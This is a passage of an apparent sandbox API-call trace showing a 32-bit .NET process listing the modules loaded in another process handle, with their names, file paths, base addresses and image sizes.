lpBaseName="ntdll.dll") returned 0x9 [0062.839] CoTaskMemFree (pv=0x4e69710) [0062.839] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.839] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77850000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0062.839] CoTaskMemFree (pv=0x4e69710) [0062.839] GetModuleInformation (in: hProcess=0x284, hModule=0x75250000, lpmodinfo=0x26b5d14, cb=0xc | out: lpmodinfo=0x26b5d14*(lpBaseOfDll=0x75250000, SizeOfImage=0x4a000, EntryPoint=0x75252e54)) returned 1 [0062.839] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.839] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75250000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0062.839] CoTaskMemFree (pv=0x4e69710) [0062.839] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.839] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75250000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0062.840] CoTaskMemFree (pv=0x4e69710) [0062.840] GetModuleInformation (in: hProcess=0x284, hModule=0x75a20000, lpmodinfo=0x26b7e20, cb=0xc | out: lpmodinfo=0x26b7e20*(lpBaseOfDll=0x75a20000, SizeOfImage=0x110000, EntryPoint=0x75a332d3)) returned 1 [0062.840] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.840] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75a20000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0062.840] CoTaskMemFree (pv=0x4e69710) [0062.840] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.840] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75a20000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0062.841] CoTaskMemFree (pv=0x4e69710) [0062.841] GetModuleInformation (in: hProcess=0x284, hModule=0x765f0000, lpmodinfo=0x26b9f34, cb=0xc | out: lpmodinfo=0x26b9f34*(lpBaseOfDll=0x765f0000, SizeOfImage=0x46000, EntryPoint=0x765f7478)) returned 1 [0062.841] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.841] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x765f0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0062.841] CoTaskMemFree (pv=0x4e69710) [0062.841] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.841] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x765f0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0062.842] CoTaskMemFree (pv=0x4e69710) [0062.842] GetModuleInformation (in: hProcess=0x284, hModule=0x75b30000, lpmodinfo=0x26bc07c, cb=0xc | out: lpmodinfo=0x26bc07c*(lpBaseOfDll=0x75b30000, SizeOfImage=0xa0000, EntryPoint=0x75b449e5)) returned 1 [0062.842] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.842] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75b30000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0062.842] CoTaskMemFree (pv=0x4e69710) [0062.842] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.842] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75b30000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0062.843] CoTaskMemFree (pv=0x4e69710) [0062.843] GetModuleInformation (in: hProcess=0x284, hModule=0x75e30000, lpmodinfo=0x26be190, cb=0xc | out: lpmodinfo=0x26be190*(lpBaseOfDll=0x75e30000, SizeOfImage=0xac000, EntryPoint=0x75e3a472)) returned 1 [0062.843] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.843] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75e30000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0062.843] CoTaskMemFree (pv=0x4e69710) [0062.843] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.843] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75e30000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0062.844] CoTaskMemFree (pv=0x4e69710) [0062.844] GetModuleInformation (in: hProcess=0x284, hModule=0x762b0000, lpmodinfo=0x26c029c, cb=0xc | out: lpmodinfo=0x26c029c*(lpBaseOfDll=0x762b0000, SizeOfImage=0x19000, EntryPoint=0x762b4975)) returned 1 [0062.844] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.844] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x762b0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0062.844] CoTaskMemFree (pv=0x4e69710) [0062.844] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.844] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x762b0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0062.845] CoTaskMemFree (pv=0x4e69710) [0062.845] GetModuleInformation (in: hProcess=0x284, hModule=0x772d0000, lpmodinfo=0x26c23a8, cb=0xc | out: lpmodinfo=0x26c23a8*(lpBaseOfDll=0x772d0000, SizeOfImage=0xf0000, EntryPoint=0x772e0569)) returned 1 [0062.845] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.845] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x772d0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0062.846] CoTaskMemFree (pv=0x4e69710) [0062.846] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.846] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x772d0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0062.846] CoTaskMemFree (pv=0x4e69710) [0062.846] GetModuleInformation (in: hProcess=0x284, hModule=0x753b0000, lpmodinfo=0x26c4500, cb=0xc | out: lpmodinfo=0x26c4500*(lpBaseOfDll=0x753b0000, SizeOfImage=0x60000, EntryPoint=0x753ca3b3)) returned 1 [0062.846] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.846] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x753b0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0062.847] CoTaskMemFree (pv=0x4e69710) [0062.847] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.847] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x753b0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0062.847] CoTaskMemFree (pv=0x4e69710) [0062.847] GetModuleInformation (in: hProcess=0x284, hModule=0x753a0000, lpmodinfo=0x26c660c, cb=0xc | out: lpmodinfo=0x26c660c*(lpBaseOfDll=0x753a0000, SizeOfImage=0xc000, EntryPoint=0x753a10e1)) returned 1 [0062.848] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.848] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x753a0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0062.848] CoTaskMemFree (pv=0x4e69710) [0062.848] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.848] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x753a0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0062.848] CoTaskMemFree (pv=0x4e69710) [0062.848] GetModuleInformation (in: hProcess=0x284, hModule=0x751d0000, lpmodinfo=0x26c8720, cb=0xc | out: lpmodinfo=0x26c8720*(lpBaseOfDll=0x751d0000, SizeOfImage=0x78000, EntryPoint=0x751df7ba)) returned 1 [0062.849] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.849] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x751d0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0062.849] CoTaskMemFree (pv=0x4e69710) [0062.849] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.849] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x751d0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0062.850] CoTaskMemFree (pv=0x4e69710) [0062.850] GetModuleInformation (in: hProcess=0x284, hModule=0x75ce0000, lpmodinfo=0x26ca868, cb=0xc | out: lpmodinfo=0x26ca868*(lpBaseOfDll=0x75ce0000, SizeOfImage=0x57000, EntryPoint=0x75cf9ba6)) returned 1 [0062.850] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.850] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75ce0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0062.850] CoTaskMemFree (pv=0x4e69710) [0062.851] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.851] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75ce0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0062.851] CoTaskMemFree (pv=0x4e69710) [0062.851] GetModuleInformation (in: hProcess=0x284, hModule=0x773c0000, lpmodinfo=0x26cc974, cb=0xc | out: lpmodinfo=0x26cc974*(lpBaseOfDll=0x773c0000, SizeOfImage=0x90000, EntryPoint=0x773d6343)) returned 1 [0062.851] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.852] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x773c0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0062.852] CoTaskMemFree (pv=0x4e69710) [0062.852] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.852] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x773c0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0062.852] CoTaskMemFree (pv=0x4e69710) [0062.853] GetModuleInformation (in: hProcess=0x284, hModule=0x756f0000, lpmodinfo=0x26cea78, cb=0xc | out: lpmodinfo=0x26cea78*(lpBaseOfDll=0x756f0000, SizeOfImage=0x100000, EntryPoint=0x7570b6ed)) returned 1 [0062.853] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.853] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x756f0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0062.853] CoTaskMemFree (pv=0x4e69710) [0062.854] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.854] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x756f0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0062.854] CoTaskMemFree (pv=0x4e69710) [0062.854] GetModuleInformation (in: hProcess=0x284, hModule=0x762d0000, lpmodinfo=0x26d0b84, cb=0xc | out: lpmodinfo=0x26d0b84*(lpBaseOfDll=0x762d0000, SizeOfImage=0xa000, EntryPoint=0x762d36a0)) returned 1 [0062.854] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.855] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x762d0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0062.855] CoTaskMemFree (pv=0x4e69710) [0062.855] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.855] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x762d0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0062.856] CoTaskMemFree (pv=0x4e69710) [0062.856] GetModuleInformation (in: hProcess=0x284, hModule=0x75410000, lpmodinfo=0x26d2c80, cb=0xc | out: lpmodinfo=0x26d2c80*(lpBaseOfDll=0x75410000, SizeOfImage=0x9d000, EntryPoint=0x75443fd7)) returned 1 [0062.856] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.856] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75410000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0062.857] CoTaskMemFree (pv=0x4e69710) [0062.857] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.857] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75410000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0062.857] CoTaskMemFree (pv=0x4e69710) [0062.858] GetModuleInformation (in: hProcess=0x284, hModule=0x76500000, lpmodinfo=0x26d4e10, cb=0xc | out: lpmodinfo=0x26d4e10*(lpBaseOfDll=0x76500000, SizeOfImage=0x60000, EntryPoint=0x7651158f)) returned 1 [0062.858] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.858] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x76500000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0062.858] CoTaskMemFree (pv=0x4e69710) [0062.859] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.859] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x76500000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0062.859] CoTaskMemFree (pv=0x4e69710) [0062.859] GetModuleInformation (in: hProcess=0x284, hModule=0x75d40000, lpmodinfo=0x26d6f14, cb=0xc | out: lpmodinfo=0x26d6f14*(lpBaseOfDll=0x75d40000, SizeOfImage=0xcc000, EntryPoint=0x75d4168b)) returned 1 [0062.860] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.860] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75d40000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0062.860] CoTaskMemFree (pv=0x4e69710) [0062.860] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.860] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75d40000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0062.861] CoTaskMemFree (pv=0x4e69710) [0062.861] GetModuleInformation (in: hProcess=0x284, hModule=0x751c0000, lpmodinfo=0x26d9018, cb=0xc | out: lpmodinfo=0x26d9018*(lpBaseOfDll=0x751c0000, SizeOfImage=0x9000, EntryPoint=0x751c1220)) returned 1 [0062.861] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.861] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x751c0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0062.862] CoTaskMemFree (pv=0x4e69710) [0062.862] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.862] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x751c0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0062.863] CoTaskMemFree (pv=0x4e69710) [0062.863] GetModuleInformation (in: hProcess=0x284, hModule=0x74630000, lpmodinfo=0x26db124, cb=0xc | out: lpmodinfo=0x26db124*(lpBaseOfDll=0x74630000, SizeOfImage=0x6a8000, EntryPoint=0x74777040)) returned 1 [0062.863] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.863] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x74630000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0062.864] CoTaskMemFree (pv=0x4e69710) [0062.864] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.864] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x74630000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0062.864] CoTaskMemFree (pv=0x4e69710) [0062.865] GetModuleInformation (in: hProcess=0x284, hModule=0x750c0000, lpmodinfo=0x26dd254, cb=0xc | out: lpmodinfo=0x26dd254*(lpBaseOfDll=0x750c0000, SizeOfImage=0xf5000, EntryPoint=0x75114160)) returned 1 [0062.865] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.865] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x750c0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0062.866] CoTaskMemFree (pv=0x4e69710) [0062.866] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.866] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x750c0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0062.866] CoTaskMemFree (pv=0x4e69710) [0062.866] GetModuleInformation (in: hProcess=0x284, hModule=0x72500000, lpmodinfo=0x26df388, cb=0xc | out: lpmodinfo=0x26df388*(lpBaseOfDll=0x72500000, SizeOfImage=0x122b000, EntryPoint=0x0)) returned 1 [0062.867] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.867] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x72500000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0062.868] CoTaskMemFree (pv=0x4e69710) [0062.868] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.868] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x72500000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")) returned 0x68 [0062.868] CoTaskMemFree (pv=0x4e69710) [0062.868] GetModuleInformation (in: hProcess=0x284, hModule=0x75540000, lpmodinfo=0x26e1530, cb=0xc | out: lpmodinfo=0x26e1530*(lpBaseOfDll=0x75540000, SizeOfImage=0x15c000, EntryPoint=0x7558ba3d)) returned 1 [0062.869] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.869] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75540000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0062.870] CoTaskMemFree (pv=0x4e69710) [0062.870] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.870] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75540000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0062.870] CoTaskMemFree (pv=0x4e69710) [0062.870] GetModuleInformation (in: hProcess=0x284, hModule=0x74d00000, lpmodinfo=0x26e3634, cb=0xc | out: lpmodinfo=0x26e3634*(lpBaseOfDll=0x74d00000, SizeOfImage=0x80000, EntryPoint=0x74d137c9)) returned 1 [0062.871] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.871] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x74d00000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0062.872] CoTaskMemFree (pv=0x4e69710) [0062.872] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.872] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x74d00000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0062.872] CoTaskMemFree (pv=0x4e69710) [0062.872] GetModuleInformation (in: hProcess=0x284, hModule=0x71b50000, lpmodinfo=0x26e5740, cb=0xc | out: lpmodinfo=0x26e5740*(lpBaseOfDll=0x71b50000, SizeOfImage=0x9ad000, EntryPoint=0x0)) returned 1 [0062.873] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.873] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x71b50000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0062.874] CoTaskMemFree (pv=0x4e69710) [0062.874] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.874] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x71b50000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")) returned 0x64 [0062.874] CoTaskMemFree (pv=0x4e69710) [0062.874] GetModuleInformation (in: hProcess=0x284, hModule=0x71430000, lpmodinfo=0x26e78dc, cb=0xc | out: lpmodinfo=0x26e78dc*(lpBaseOfDll=0x71430000, SizeOfImage=0x716000, EntryPoint=0x0)) returned 1 [0062.875] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.875] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x71430000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="System.Core.ni.dll") returned 0x12 [0062.876] CoTaskMemFree (pv=0x4e69710) [0062.876] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.876] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x71430000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")) returned 0x6e [0062.876] CoTaskMemFree (pv=0x4e69710) [0062.876] GetModuleInformation (in: hProcess=0x284, hModule=0x74ef0000, lpmodinfo=0x26e9a98, cb=0xc | out: lpmodinfo=0x26e9a98*(lpBaseOfDll=0x74ef0000, SizeOfImage=0x1cb000, EntryPoint=0x0)) returned 1 [0062.877] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.877] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x74ef0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0062.877] CoTaskMemFree (pv=0x4e69710) [0062.877] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.877] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x74ef0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")) returned 0x81 [0062.878] CoTaskMemFree (pv=0x4e69710) [0062.878] GetModuleInformation (in: hProcess=0x284, hModule=0x74e70000, lpmodinfo=0x26ebc8c, cb=0xc | out: lpmodinfo=0x26ebc8c*(lpBaseOfDll=0x74e70000, SizeOfImage=0x7d000, EntryPoint=0x74e71140)) returned 1 [0062.879] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.879] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x74e70000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0062.880] CoTaskMemFree (pv=0x4e69710) [0062.880] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.880] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x74e70000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0062.880] CoTaskMemFree (pv=0x4e69710) [0062.880] GetModuleInformation (in: hProcess=0x284, hModule=0x75f60000, lpmodinfo=0x26eddcc, cb=0xc | out: lpmodinfo=0x26eddcc*(lpBaseOfDll=0x75f60000, SizeOfImage=0x8f000, EntryPoint=0x75f63fb1)) returned 1 [0062.881] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.881] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75f60000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0062.882] CoTaskMemFree (pv=0x4e69710) [0062.882] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.882] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75f60000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0062.882] CoTaskMemFree (pv=0x4e69710) [0062.883] GetModuleInformation (in: hProcess=0x284, hModule=0x744a0000, lpmodinfo=0x26efee0, cb=0xc | out: lpmodinfo=0x26efee0*(lpBaseOfDll=0x744a0000, SizeOfImage=0x18d000, EntryPoint=0x0)) returned 1 [0062.883] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.883] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x744a0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0062.884] CoTaskMemFree (pv=0x4e69710) [0062.884] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.884] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x744a0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")) returned 0x74 [0062.885] CoTaskMemFree (pv=0x4e69710) [0062.885] GetModuleInformation (in: hProcess=0x284, hModule=0x707d0000, lpmodinfo=0x26f20ac, cb=0xc | out: lpmodinfo=0x26f20ac*(lpBaseOfDll=0x707d0000, SizeOfImage=0xc58000, EntryPoint=0x0)) returned 1 [0062.886] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.886] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x707d0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0062.886] CoTaskMemFree (pv=0x4e69710) [0062.886] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.887] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x707d0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")) returned 0x80 [0062.887] CoTaskMemFree (pv=0x4e69710) [0062.887] GetModuleInformation (in: hProcess=0x284, 